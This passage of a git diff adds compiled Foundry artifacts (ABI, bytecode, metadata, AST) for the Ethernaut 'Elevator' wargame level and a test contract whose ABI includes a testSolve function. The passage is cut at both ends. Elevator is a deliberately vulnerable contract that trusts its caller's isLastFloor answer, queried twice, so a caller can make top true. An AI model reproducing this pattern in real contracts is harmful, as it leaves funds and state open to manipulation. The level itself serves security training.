Building"}},"id":52183,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"402:11:75","memberName":"isLastFloor","nodeType":"MemberAccess","referencedDeclaration":52154,"src":"393:20:75","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_bool_$","typeString":"function (uint256) external returns (bool)"}},"id":52185,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"393:27:75","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"387:33:75","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52187,"nodeType":"ExpressionStatement","src":"387:33:75"}]}}]},"functionSelector":"ed9a7134","implemented":true,"kind":"function","modifiers":[],"name":"goTo","nameLocation":"221:4:75","parameters":{"id":52162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52161,"mutability":"mutable","name":"_floor","nameLocation":"234:6:75","nodeType":"VariableDeclaration","scope":52191,"src":"226:14:75","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52160,"name":"uint256","nodeType":"ElementaryTypeName","src":"226:7:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"225:16:75"},"returnParameters":{"id":52163,"nodeType":"ParameterList","parameters":[],"src":"249:0:75"},"scope":52192,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Elevator","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52192],"name":"Elevator","nameLocation":"149:8:75","scope":52193,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":75} \ No newline at end of file diff --git a/contracts/out/Elevator.sol/Elevator.json b/contracts/out/Elevator.sol/Elevator.json new file mode 100644 index 000000000..23f66067b --- /dev/null +++ b/contracts/out/Elevator.sol/Elevator.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"floor","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"goTo","inputs":[{"name":"_floor","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"top","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506101f78061001d5f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c80634069536314610043578063ed9a71341461005f578063fe6dcdba14610074575b5f80fd5b61004c60015481565b6040519081526020015b60405180910390f35b61007261006d366004610184565b610090565b005b5f546100809060ff1681565b6040519015158152602001610056565b604051632fcd25e560e11b81526004810182905233908190635f9a4bca906024016020604051808303815f875af11580156100cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f1919061019b565b610180576001829055604051632fcd25e560e11b81526004810183905273ffffffffffffffffffffffffffffffffffffffff821690635f9a4bca906024016020604051808303815f875af115801561014b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061016f919061019b565b5f805460ff19169115159190911790555b5050565b5f60208284031215610194575f80fd5b5035919050565b5f602082840312156101ab575f80fd5b815180151581146101ba575f80fd5b939250505056fea2646970667358221220ecb8fe45bca969d79077e5b7f0d22bb397e660f136524e2d4955dbac43818fae64736f6c63430008180033","sourceMap":"140:299:75:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b506004361061003f575f3560e01c80634069536314610043578063ed9a71341461005f578063fe6dcdba14610074575b5f80fd5b61004c60015481565b6040519081526020015b60405180910390f35b61007261006d366004610184565b610090565b005b5f546100809060ff1681565b6040519015158152602001610056565b604051632fcd25e560e11b81526004810182905233908190635f9a4bca906024016020604051808303815f875af11580156100cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f1919061019b565b610180576001829055604051632fcd25e560e11b81526004810183905273ffffffffffffffffffffffffffffffffffffffff821690635f9a4bca906024016020604051808303815f875af115801561014b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061016f919061019b565b5f805460ff19169115159190911790555b5050565b5f60208284031215610194575f80fd5b5035919050565b5f602082840312156101ab575f80fd5b815180151581146101ba575f80fd5b939250505056fea2646970667358221220ecb8fe45bca969d79077e5b7f0d22bb397e660f136524e2d4955dbac43818fae64736f6c63430008180033","sourceMap":"140:299:75:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;185:20;;;;;;;;;160:25:155;;;148:2;133:18;185:20:75;;;;;;;;212:225;;;;;;:::i;:::-;;:::i;:::-;;164:15;;;;;;;;;;;;546:14:155;;539:22;521:41;;509:2;494:18;164:15:75;381:187:155;212:225:75;315:28;;-1:-1:-1;;;315:28:75;;;;;160:25:155;;;288:10:75;;;;315:20;;133:18:155;;315:28:75;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;310:121;;359:5;:14;;;393:27;;-1:-1:-1;;;393:27:75;;;;;160:25:155;;;393:20:75;;;;;;133:18:155;;393:27:75;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;387:3;:33;;-1:-1:-1;;387:33:75;;;;;;;;;;310:121;249:188;212:225;:::o;196:180:155:-;255:6;308:2;296:9;287:7;283:23;279:32;276:52;;;324:1;321;314:12;276:52;-1:-1:-1;347:23:155;;196:180;-1:-1:-1;196:180:155:o;573:277::-;640:6;693:2;681:9;672:7;668:23;664:32;661:52;;;709:1;706;699:12;661:52;741:9;735:16;794:5;787:13;780:21;773:5;770:32;760:60;;816:1;813;806:12;760:60;839:5;573:277;-1:-1:-1;;;573:277:155:o","linkReferences":{}},"methodIdentifiers":{"floor()":"40695363","goTo(uint256)":"ed9a7134","top()":"fe6dcdba"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"floor\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_floor\",\"type\":\"uint256\"}],\"name\":\"goTo\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"top\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Elevator.sol\":\"Elevator\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Elevator.sol\":{\"keccak256\":\"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93\",\"dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"floor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"_floor","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"goTo"},{"inputs":[],"stateMutability":"view","type":"function","name":"top","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Elevator.sol":"Elevator"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Elevator.sol":{"keccak256":"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea","urls":["bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93","dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Elevator.sol","id":52193,"exportedSymbols":{"Building":[52155],"Elevator":[52192]},"nodeType":"SourceUnit","src":"32:408:75","nodes":[{"id":52147,"nodeType":"PragmaDirective","src":"32:23:75","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52155,"nodeType":"ContractDefinition","src":"57:81:75","nodes":[{"id":52154,"nodeType":"FunctionDefinition","src":"82:54:75","nodes":[],"functionSelector":"5f9a4bca","implemented":false,"kind":"function","modifiers":[],"name":"isLastFloor","nameLocation":"91:11:75","parameters":{"id":52150,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52149,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52154,"src":"103:7:75","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52148,"name":"uint256","nodeType":"ElementaryTypeName","src":"103:7:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"102:9:75"},"returnParameters":{"id":52153,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52152,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52154,"src":"130:4:75","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52151,"name":"bool","nodeType":"ElementaryTypeName","src":"130:4:75","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"129:6:75"},"scope":52155,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Building","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[52155],"name":"Building","nameLocation":"67:8:75","scope":52193,"usedErrors":[],"usedEvents":[]},{"id":52192,"nodeType":"ContractDefinition","src":"140:299:75","nodes":[{"id":52157,"nodeType":"VariableDeclaration","src":"164:15:75","nodes":[],"constant":false,"functionSelector":"fe6dcdba","mutability":"mutable","name":"top","nameLocation":"176:3:75","scope":52192,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52156,"name":"bool","nodeType":"ElementaryTypeName","src":"164:4:75","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"public"},{"id":52159,"nodeType":"VariableDeclaration","src":"185:20:75","nodes":[],"constant":false,"functionSelector":"40695363","mutability":"mutable","name":"floor","nameLocation":"200:5:75","scope":52192,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52158,"name":"uint256","nodeType":"ElementaryTypeName","src":"185:7:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":52191,"nodeType":"FunctionDefinition","src":"212:225:75","nodes":[],"body":{"id":52190,"nodeType":"Block","src":"249:188:75","nodes":[],"statements":[{"assignments":[52166],"declarations":[{"constant":false,"id":52166,"mutability":"mutable","name":"building","nameLocation":"268:8:75","nodeType":"VariableDeclaration","scope":52190,"src":"259:17:75","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract Building"},"typeName":{"id":52165,"nodeType":"UserDefinedTypeName","pathNode":{"id":52164,"name":"Building","nameLocations":["259:8:75"],"nodeType":"IdentifierPath","referencedDeclaration":52155,"src":"259:8:75"},"referencedDeclaration":52155,"src":"259:8:75","typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract Building"}},"visibility":"internal"}],"id":52171,"initialValue":{"arguments":[{"expression":{"id":52168,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"288:3:75","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"292:6:75","memberName":"sender","nodeType":"MemberAccess","src":"288:10:75","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":52167,"name":"Building","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52155,"src":"279:8:75","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Building_$52155_$","typeString":"type(contract Building)"}},"id":52170,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"279:20:75","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract Building"}},"nodeType":"VariableDeclarationStatement","src":"259:40:75"},{"condition":{"id":52176,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"314:29:75","subExpression":{"arguments":[{"id":52174,"name":"_floor","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52161,"src":"336:6:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":52172,"name":"building","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52166,"src":"315:8:75","typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract Building"}},"id":52173,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"324:11:75","memberName":"isLastFloor","nodeType":"MemberAccess","referencedDeclaration":52154,"src":"315:20:75","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_bool_$","typeString":"function (uint256) external returns (bool)"}},"id":52175,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"315:28:75","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52189,"nodeType":"IfStatement","src":"310:121:75","trueBody":{"id":52188,"nodeType":"Block","src":"345:86:75","statements":[{"expression":{"id":52179,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52177,"name":"floor","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52159,"src":"359:5:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":52178,"name":"_floor","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52161,"src":"367:6:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"359:14:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":52180,"nodeType":"ExpressionStatement","src":"359:14:75"},{"expression":{"id":52186,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52181,"name":"top","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52157,"src":"387:3:75","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":52184,"name":"floor","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52159,"src":"414:5:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":52182,"name":"building","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52166,"src":"393:8:75","typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract Building"}},"id":52183,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"402:11:75","memberName":"isLastFloor","nodeType":"MemberAccess","referencedDeclaration":52154,"src":"393:20:75","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_bool_$","typeString":"function (uint256) external returns (bool)"}},"id":52185,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"393:27:75","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"387:33:75","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52187,"nodeType":"ExpressionStatement","src":"387:33:75"}]}}]},"functionSelector":"ed9a7134","implemented":true,"kind":"function","modifiers":[],"name":"goTo","nameLocation":"221:4:75","parameters":{"id":52162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52161,"mutability":"mutable","name":"_floor","nameLocation":"234:6:75","nodeType":"VariableDeclaration","scope":52191,"src":"226:14:75","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52160,"name":"uint256","nodeType":"ElementaryTypeName","src":"226:7:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"225:16:75"},"returnParameters":{"id":52163,"nodeType":"ParameterList","parameters":[],"src":"249:0:75"},"scope":52192,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Elevator","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52192],"name":"Elevator","nameLocation":"149:8:75","scope":52193,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":75} \ No newline at end of file diff --git a/contracts/out/Elevator.t.sol/TestElevator.json b/contracts/out/Elevator.t.sol/TestElevator.json new file mode 100644 index 000000000..2ecd01e58 --- /dev/null +++ b/contracts/out/Elevator.t.sol/TestElevator.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616386806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b26565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001b69565b620001b3620001fa36600462001c55565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d28565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001deb565b620001da6200025736600462001eb8565b62000ef8565b6200019a62001088565b62000271620011c3565b604051620001c7919062001ed0565b620001b36200029136600462001f36565b62001298565b62000237620013b7565b620002b8620002b236600462001f54565b620014b1565b6040519015158152602001620001c7565b6200027162001641565b6200019a62001716565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017af565b620001da62001883565b6200019a6200032f36600462001eb8565b620018e3565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001f90565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001f90565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001298565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001acb565b604051809103905ff080158015620005f2573d5